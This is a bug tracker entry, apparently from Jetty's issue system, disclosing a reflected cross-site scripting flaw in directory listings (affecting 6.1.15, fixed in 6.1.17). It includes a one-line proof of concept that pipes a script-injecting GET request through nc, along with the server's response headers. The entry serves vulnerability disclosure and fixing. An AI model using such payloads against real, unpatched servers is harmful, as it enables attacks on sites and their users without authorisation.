Details
-
Type:
Bug
-
Status:
Resolved
-
Priority:
Major
-
Resolution: Fixed
-
Affects Version/s: 6.1.15
-
Fix Version/s: 6.1.17
-
Component/s: Security and SSL
-
Labels:None
-
Number of attachments :
Description
A Directory Listing XSS has been reported.
A reflective XSS can be induced whenever Jetty displays a web directory listing.
Client-side script code can be included in HTTP response by appending it next to directory listing's path, preceded by the ';' character.
Follows a PoC :
$ echo -e "GET /cometd/dijit/;<script>alert(document.title);</script> HTTP/1.0\n\n" | nc 127.0.0.1 8080
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 5097
Server: Jetty(7.0.0.pre5)
Attachments
Issue Links
| This issue relates to: | ||||
| JETTY-1004 | Vulnerability in ResourceHandler and DefaultServlet with aliases |
|
|
|
| This issue depends upon: | ||||
| JETTY-992 | URIUtil.encodePath() allows some characters to break the URI string |
|
|
|
Adding Proper HTML and URL encoding to prevent XSS (and other nasties) from executing.
Requires
JETTY-992JETTY-992